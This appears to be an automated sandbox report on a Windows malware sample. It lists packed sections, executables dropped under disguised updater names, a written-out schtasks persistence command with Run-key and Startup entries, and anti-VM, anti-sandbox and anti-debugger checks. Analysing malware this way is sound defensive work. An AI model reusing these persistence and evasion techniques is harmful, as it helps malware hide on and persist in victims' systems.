Source: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Unpacked PE file: 21.2.AdobeUpdaterV2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Unpacked PE file: 22.2.EdgeMS2.exe.400000.0.unpack .MPRESS1:EW;.MPRESS2:EW;.rsrc:W; vs .MPRESS1:ER;.MPRESS2:ER;.rsrc:W;

Source: file.exe

Static PE information: 0xAFC99B72 [Sat Jun 16 13:15:30 2063 UTC]

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF6B6C0 GetModuleHandleW,GetModuleHandleW,LoadLibraryW,GetProcAddress,__cftoe,GetModuleHandleW,GetProcAddress,

0_2_6CF6B6C0

Source: initial sample

Static PE information: section where entry point is pointing to: .boot

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .themida
Source: file.exe	Static PE information: section name: .boot
Source: l2[1].exe.2.dr	Static PE information: section name: .MPRESS1
Source: l2[1].exe.2.dr	Static PE information: section name: .MPRESS2
Source: q2xutezn4kFdLk2viqDb.exe.2.dr	Static PE information: section name: .MPRESS1
Source: q2xutezn4kFdLk2viqDb.exe.2.dr	Static PE information: section name: .MPRESS2
Source: AdobeUpdaterV2.exe.2.dr	Static PE information: section name: .MPRESS1
Source: AdobeUpdaterV2.exe.2.dr	Static PE information: section name: .MPRESS2
Source: MSIUpdaterV2.exe.2.dr	Static PE information: section name: .MPRESS1
Source: MSIUpdaterV2.exe.2.dr	Static PE information: section name: .MPRESS2
Source: EdgeMS2.exe.2.dr	Static PE information: section name: .MPRESS1
Source: EdgeMS2.exe.2.dr	Static PE information: section name: .MPRESS2
Source: oobeldr.exe.8.dr	Static PE information: section name: .MPRESS1
Source: oobeldr.exe.8.dr	Static PE information: section name: .MPRESS2

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFBCC2B push ecx; ret	0_2_6CFBCC3E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFBD565 push ecx; ret	0_2_6CFBD578
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0339625C push eax; iretd	0_2_0339625D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_03392730 push eax; mov dword ptr [esp], ecx	0_2_03392731

Source: file.exe

Static PE information: section name: .boot entropy: 7.959446021495236

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File created: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\q2xutezn4kFdLk2viqDb.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File created: C:\Users\user\AppData\Local\AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\AdobeUpdaterV2.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File created: C:\Users\user\AppData\Local\Temp\EdgeMS2_45c48cce2e2d7fbdea1afc51c7c6ad26\EdgeMS2.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File created: C:\Users\user\AppData\Local\Temp\span9T_JAyVodxF8\q2xutezn4kFdLk2viqDb.exe	Jump to dropped file
Source: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe (copy)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\l2[1].exe	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

File created: C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe

Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26\MSIUpdaterV2.exe" /tn "MSIUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26 HR" /sc HOURLY /rl HIGHEST

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EdgeMS2.lnk

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EdgeMS2.lnk

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run AdobeUpdaterV2_45c48cce2e2d7fbdea1afc51c7c6ad26			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 2_2_004EE170 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

2_2_004EE170

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: file.exe PID: 4268, type: MEMORYSTR

Found API chain indicative of sandbox detection

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Sandbox detection routine: GetCursorPos, DecisionNode, Sleep

graph_2-88046

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Evasive API call chain: CreateMutex,DecisionNodes,Sleep

graph_2-92694

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Evasive API call chain: GetPEB, DecisionNodes, Sleep

graph_2-88109

Found stalling execution ending in API Sleep call

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Stalling execution: Execution stalls by calling Sleep

graph_2-88855

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe

File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Jump to behavior

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe

Special instruction interceptor: First address: 4D4A1E instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Memory allocated: 3390000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 35C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory allocated: 33C0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: GetCursorPos,GetCursorPos,GetCursorPos,Sleep,GetCursorPos,Sleep,GetCursorPos,

2_2_0045DB00

Source: C:\Users\user\Desktop\file.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 554	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 8161	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 618	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Window / User API: threadDelayed 9995	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_2-88855

Source: C:\Users\user\Desktop\file.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Protect544cd51a.dll

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_2-91584

Source: C:\Users\user\Desktop\file.exe TID: 3684	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe TID: 1308	Thread sleep count: 9995 > 30	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe TID: 1308	Thread sleep time: -2248875s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 2_2_005449B0 GetSystemTime followed by cmp: cmp eax, 04h and CTI: jc 005449F1h

2_2_005449B0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004C6000 CreateDirectoryA,FindFirstFileA,FindNextFileA,GetLastError,FindClose,	2_2_004C6000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004E6770 CreateDirectoryA,FindFirstFileA,SetFileAttributesA,DeleteFileA,FindNextFileA,FindClose,GetLastError,SetFileAttributesA,GetLastError,RemoveDirectoryA,GetLastError,GetLastError,std::_Throw_Cpp_error,std::_Throw_Cpp_error,	2_2_004E6770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00493F40 SHGetFolderPathA,FindFirstFileA,FindNextFileA,FindClose,CreateDirectoryA,CreateDirectoryA,CreateDirectoryA,CopyFileA,CreateDirectoryA,CreateDirectoryA,CopyFileA,CopyFileA,	2_2_00493F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00431F9C FindClose,FindFirstFileExW,GetLastError,	2_2_00431F9C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00432022 GetLastError,GetFileAttributesExW,GetLastError,FindFirstFileW,GetLastError,FindClose,___std_fs_open_handle@16,GetFileInformationByHandleEx,GetLastError,GetFileInformationByHandleEx,GetFileInformationByHandleEx,	2_2_00432022
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004938D0 FindFirstFileA,FindNextFileA,GetLastError,FindClose,	2_2_004938D0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

2_2_004E06D0

Source: C:\Users\user\Desktop\file.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 30101			Jump to behavior

Source: RegSvcs.exe, 00000002.00000002.4087471947.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW7
Source: RegSvcs.exe, 00000002.00000002.4087471947.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}G
Source: RegSvcs.exe, 00000002.00000002.4088382278.00000000050D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000T
Source: RegSvcs.exe, 00000002.00000002.4089027657.000000000517A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}sPowerS
Source: RegSvcs.exe, 00000002.00000002.4089299029.000000000518F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: RegSvcs.exe, 00000002.00000002.4088382278.00000000050D7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: RegSvcs.exe, 00000002.00000002.4086941629.0000000000D60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000&,
Source: RegSvcs.exe, 00000002.00000002.4086941629.0000000000DAE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0I
Source: RegSvcs.exe, 00000002.00000002.4087471947.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: RegSvcs.exe, 00000002.00000002.4088382278.00000000050B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9e146be9-c76a-4720-bcdb-53011b87bd06_{a33c7340-61ca-11ee-8c18-806e6f6e6963}_\\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}_AFA324F4S
Source: RegSvcs.exe, 00000002.00000002.4088382278.00000000050FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}S-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows
Source: RegSvcs.exe, 00000002.00000002.4087471947.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}F8
Source: RegSvcs.exe, 00000002.00000002.4086941629.0000000000DC8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb
Source: RegSvcs.exe, 00000002.00000002.4088382278.00000000050B0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9e146be9-c76a-4720-bcdb-53011b87bd06_{a33c7340-61ca-11ee-8c18-806e6f6e6963}_\\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}_AFA324F4

Source: C:\Users\user\Desktop\file.exe

API call chain: ExitProcess graph end node

graph_0-59340

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugObjectHandle	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CFB948B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_6CFB948B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 2_2_0045A102 CreateThread,FindCloseChangeNotification,Sleep,GetTempPathA,CreateDirectoryA,CreateDirectoryA,CreateDirectoryA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,OutputDebugStringA,CreateMutexA,GetLastError,Sleep,Sleep,Sleep,Sleep,shutdown,closesocket,Sleep,

2_2_0045A102

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CF6B6C0 GetModuleHandleW,GetModuleHandleW,LoadLibraryW,GetProcAddress,__cftoe,GetModuleHandleW,GetProcAddress,

0_2_6CF6B6C0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0045A102 mov eax, dword ptr fs:[00000030h]	2_2_0045A102
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0045A102 mov ecx, dword ptr fs:[00000030h]	2_2_0045A102
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004C86C0 mov eax, dword ptr fs:[00000030h]	2_2_004C86C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0045A6B7 mov eax, dword ptr fs:[00000030h]	2_2_0045A6B7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0045A6B7 mov eax, dword ptr fs:[00000030h]	2_2_0045A6B7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0045A6B7 mov eax, dword ptr fs:[00000030h]	2_2_0045A6B7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004D3070 mov ecx, dword ptr fs:[00000030h]	2_2_004D3070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004595B8 mov eax, dword ptr fs:[00000030h]	2_2_004595B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004595B8 mov eax, dword ptr fs:[00000030h]	2_2_004595B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004595B8 mov eax, dword ptr fs:[00000030h]	2_2_004595B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004595B8 mov ecx, dword ptr fs:[00000030h]	2_2_004595B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00495790 mov eax, dword ptr fs:[00000030h]	2_2_00495790
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0045DB00 mov eax, dword ptr fs:[00000030h]	2_2_0045DB00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0045DB00 mov eax, dword ptr fs:[00000030h]	2_2_0045DB00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004D6280 mov eax, dword ptr fs:[00000030h]	2_2_004D6280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004CA502 mov eax, dword ptr fs:[00000030h]	2_2_004CA502
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004CA6B3 mov eax, dword ptr fs:[00000030h]	2_2_004CA6B3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004C8C58 mov eax, dword ptr fs:[00000030h]	2_2_004C8C58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004C6D80 mov eax, dword ptr fs:[00000030h]	2_2_004C6D80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004C8E09 mov eax, dword ptr fs:[00000030h]	2_2_004C8E09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004CB15E mov eax, dword ptr fs:[00000030h]	2_2_004CB15E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004C9213 mov eax, dword ptr fs:[00000030h]	2_2_004C9213
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004CB30F mov eax, dword ptr fs:[00000030h]	2_2_004CB30F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004C93CB mov eax, dword ptr fs:[00000030h]	2_2_004C93CB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004D3600 mov eax, dword ptr fs:[00000030h]	2_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004D3600 mov eax, dword ptr fs:[00000030h]	2_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004D3600 mov eax, dword ptr fs:[00000030h]	2_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004D3600 mov eax, dword ptr fs:[00000030h]	2_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004D3600 mov eax, dword ptr fs:[00000030h]	2_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004D3600 mov eax, dword ptr fs:[00000030h]	2_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004D3600 mov eax, dword ptr fs:[00000030h]	2_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004D3600 mov eax, dword ptr fs:[00000030h]	2_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004D3600 mov eax, dword ptr fs:[00000030h]	2_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004D3600 mov eax, dword ptr fs:[00000030h]	2_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004D3600 mov eax, dword ptr fs:[00000030h]	2_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004D3600 mov eax, dword ptr fs:[00000030h]	2_2_004D3600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_004C9B4B mov eax, dword ptr fs:[00000030h]	2_2_004C9B4B

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 2_2_004EEA40 CharNextA,CharNextA,CharNextA,CharNextA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,lstrlenA,GetProcessHeap,GetProcessHeap,HeapAlloc,lstrcpynA,GetProcessHeap,HeapFree,

2_2_004EEA40

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFB948B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_6CFB948B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CFBB144 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_6CFBB144
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00434184 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00434184
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_00434311 SetUnhandledExceptionFilter,	2_2_00434311
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 2_2_0043451D SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0043451D
